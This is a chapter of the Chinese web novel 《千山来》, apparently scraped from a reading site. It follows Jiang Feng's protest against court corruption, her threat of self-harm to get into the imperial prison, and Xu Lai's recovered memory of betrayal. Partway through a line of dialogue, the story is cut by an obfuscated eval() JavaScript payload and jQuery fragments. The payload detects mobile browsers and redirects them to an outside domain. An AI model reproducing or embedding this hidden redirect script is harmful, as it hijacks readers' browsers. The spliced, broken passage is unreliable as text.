22. 第二十二章
作品:《千山来》 姜逢眸中疯狂之色再也藏不住,付凝玉被彻底震住,支支吾吾着说不出一句整话来:“你……你疯了?”
“我没有疯!你还看不出来吗,还要骗自己吗?裴再贤科举中第,却因背后无人撑腰轻而易举被人顶替了名额,至今无处申冤。段如言文采斐然,却明里暗里被书院先生打压,为什么?因为他门第低下,所有人都可以踩他一脚,长此以往下去,寒门不会再出贵子了,朝中也不会有真心为百姓做事之人。”
“外头到处都是流民,每日愈多,你可曾看见官府有什么措施?就是连个栖身之所都不舍得给他们,顶多每日一碗薄粥吊着命罢了。没人把他们的命当做命,来日我们的命也不会被当做命,今日的他们就是来日的我们。”
“如今权贵当道皇权旁落,大承早就不是当初的大承了,当今圣上并无治国之能,他如今的权力不过是仰仗着权贵施舍,徐来在外拼命征战以此掣肘内廷,朝中那些人至今没有动作不过是还忌惮着徐来,可偏偏圣上如此蠢笨,竟会认为徐来是觊觎他的皇位,他难道没想过一旦徐来落马,下一个被开刀的就是他自己!”
“与其如此被动,不如主动出击,也好过被他人牵制处处受阻,若天地不仁,那便更要为自己踏出一条路来!”
“我只怕……怕徐来心软,怕他还对他那个窝囊兄长有所期待……”
“可是……”付凝玉惊惧道,“咱们都只是平头老百姓,这些事是他们徐家该处理的,你不该卷进去啊。”
“我支持你。”
一道冷静的声音传来,姜逢与付凝玉皆转头去看。
姜迎醒了已经有一会儿了,自然也将她们的话听了个一分不差:“裴郎当年名额被替申冤无门,他的无助愤怒我全看在眼里,他如今已非健全之人,怕是入不得仕了。可这天下,多的是裴郎那样的学子,若十年苦读比不得那些黄白之物,那真是滑天下之大稽,我不仅要为裴郎申冤,更要为天下所有遭受不公之人申冤。”
姜逢勉强笑了下,眉间的担心却不减丝毫:“只求徐来不要被找到,那大承还得以一息尚存。”
牢房外忽地铁链哐当,狱卒站在门外面无表情:“你们可以走了。”
“什么情况?”
姜逢轻声问道。
姜迎也不知道,她们皆从彼此眼神里看出了疑惑,姜竭一行人倒是欢天喜地,抱着姜蔚庆幸劫后余生。
姜逢在夏绿的搀扶下慢慢走出了府衙,外头裴再贤早早地等着,见人出来,忙迎了上来。
“阿迎,你没事吧?”
姜迎摇了摇头:“我没事,不过怎么突然把我们给放了?”
“这……兴许是如言托了关系吧?”裴再贤猜测,“他与翰林院待诏严楼是好友,方才他说去求严公子帮忙,许是严公子出手相助吧?”
“怎么可能?”姜逢问道,“严楼不过一个小小待诏,怎么可能保得下这么大的案子?更何况此案还是由永安侯亲自审理。”
“那我就不知道了。”裴再贤也不清楚其中缘由,忽地又想起了什么,道,“哦,方才有两名路过的官差,我无意间听到他们说,好像是犯人抓着了。”
“什么?!”姜逢大惊,想也不想就往府衙跑,姜迎刚想拽住她,指尖却与她的衣袖错身而过。
一定是姜小四回来了,他为什么要自投罗网,他明明失忆了,怎么会……
姜逢脚下一软,身体失控,重重摔在地上,姜迎与付凝玉连忙将人扶起来,“没事吧?有没有摔着?”
手心火辣辣的痛楚刺激着她,姜逢眼神空洞,世界在她眼中轰然坍塌,只剩一片荒芜,她的灵魂被抽离,只剩下一具空壳。
“天哪,手出血了,咱们先回去把手处理一下好吗?”
姜迎将她从地上扶起来,心疼地托着她的手。
姜逢知道如今闯进去无济于事,她狠掐自己手心,强迫自己冷静下来,她大口大口吞食着新鲜空气,只有这样才能确保她不会晕过去。
“走,我得回去好好想想。”
她艰难地吐出这句话,撑在姜迎肩上任她拖走。
姜逢手心的伤口已经被包扎好了,可心口上的洞却越来越大,鲜血仿佛漏之不尽,一滴一滴往下落着。
她拖出床底下的木箱,目光定定地看着,良久,她似是下定了某种决心,趁着没人注意抱着剑出了门。
方才她恍惚之中听见裴再贤说严楼如今官任翰林院待诏,虽然官职不高,但大小是个官,起码比她有话语权。
“麻烦您去通报一下,就说姜府二小姐来寻六公子。”
姜逢给严府门前小厮手里塞了块碎银,那小厮便很痛快地替她跑了一趟腿。
她先前不是没看出来严楼对她有意,那时她并不放在眼里,也没时间去想,可如今,既然有现成的人脉,那为什么不物尽其用呢。
严楼出来得很快,许是听到姜逢找他,连鞋履都未曾穿齐整便匆匆赶了出来,“姜妹妹,你出来了?我一大清早就去过府衙了,本想保你出来,可此案由永安侯亲自审理,我实在是插不进手……对了,你没受伤吧?他们有没有为难你?”
盯着严楼关切的目光,姜逢心里五味杂陈,她知道不该利用他一颗真挚的心,但她实在是别无他法了。
姜逢摇了摇头,表示自己没事,“我没受什么伤。今日冒昧前来,是想求严公子帮我一个忙。”
“自然,你尽管说。”
“我要去诏狱,姜小四被关在大理寺诏狱,我必须去见他。”
“可是……”严楼显然有些为难,“我毕竟只是个待诏,在大理寺也没有相熟之人,恐怕……”
姜逢知道此事算为难他,但……
她猛地抽出怀中剑匣,“唰”地一声宝剑出鞘,冷硬的寒光泛在姜逢脸上,她举起剑抵在自己脖子上。
严楼吓了一跳,伸出手就要去夺,姜逢后退一步,将刀刃抵得更深,严楼不敢动了。
“姜妹妹,你何至于此?那个徐来是通敌的叛徒,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478645|169596||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不值得你为他做到如此地步。”
姜逢手上力道不减,面上表情也不见松动:“这些我都明白,我只要一炷香的时间,我姜逢会记得你的恩情,来日你便是要我当牛做马我也愿意。”
严楼的手缓缓垂落,半晌,他道,“好吧,我尽力一试,但你不要抱太大的希望。”
姜小四,也就是徐来,此刻,他满身狼狈被关在诏狱里,那日他虽然离开了知春苑,但并没有走远,一直在知春苑附近徘徊,得知姜逢被抓起来时,他慌忙跑了回来,路上磕到了头,丢失的记忆这才找了回来。
他此前虽然隐隐约约有些记忆,却知晓得并不真切,一朝磕了头,方知姜逢这些时日以来的不对劲。
数月前他刚刚剿灭一队魏军,正是士气大涨之际,本准备继续向北突围,却在行至毫西古道时被突如其来的魏军围困,他们像是知道他的作战计划一般,提前埋伏在他们的必经之路上,将玄甲军围困在天坑之中。
但当时徐来心里并不算慌张,对面只有区区五千魏军,可他带了两万士兵,个个都是精兵能将,就是强冲也能冲出去。
他观察过,魏军在西边设置的防线最为薄弱,他带一队精兵直插过去,副将关越与奚穆兵分两路迂回包抄,届时魏军腹背受敌,不愁拿不下他们。
问题就出在这里。
原本一切都十分顺利,魏军被他们杀了个措手不及,毫无防备之下死伤大半,即将突围出去时,魏军将领赫胥连突然带着大批人马赶到将他们打散。
他与赫胥连是老对手了,赫胥连与他几次交战都栽在他手上,吃了不少暗亏,这回他特意让云化将军翟季宣在陵川牵制住他,按理说他不应该这么快赶到才是。
按着种种迹象来看,徐来很快明白是他的布施计划被泄露了,一般作战计划是需要严格保密的,知道的人寥寥无几,关越与奚穆都是他的心腹,不可能背叛他,那就只有翟季宣了,他是宁王一派,徐来与宁王向来不对付,此次翟季宣被指派协助徐来本就诸多怨言,难保不是他泄露的军情。
死里逃生后,他一路流亡回到了京城,本想寻皇兄调遣兵马助他扳回一城,可没想到遇上流民暴乱,他又多日未曾进食早已体力不支,再次睁眼时就什么都不知道了。
呵。
他在心底嘲笑自己的天真。
幸好自己失了忆,没去寻皇兄,否则真是羊入虎口了,他倒真不知道,想他死的人这么多,他的亲哥哥竟也算一个。
恢复记忆后,他主动归案以换得姜逢自由,他以已身陷囹圄,总不能再赔上无辜之人性命。此刻他真有些庆幸姜逢先前没有给他回应,否则就凭他现在这个样子,只会白白耽误她。
皇兄要他的命,他给便是,十年的亡命生活他过够了,这大承他守不住了。
徐来一步一步任自己陷入泥潭,泥浆即将灌过他的口鼻之际,牢房外突然传来一道声音:“徐来,有人来看你。”
徐来猛地站起来大口喘息,意识回笼。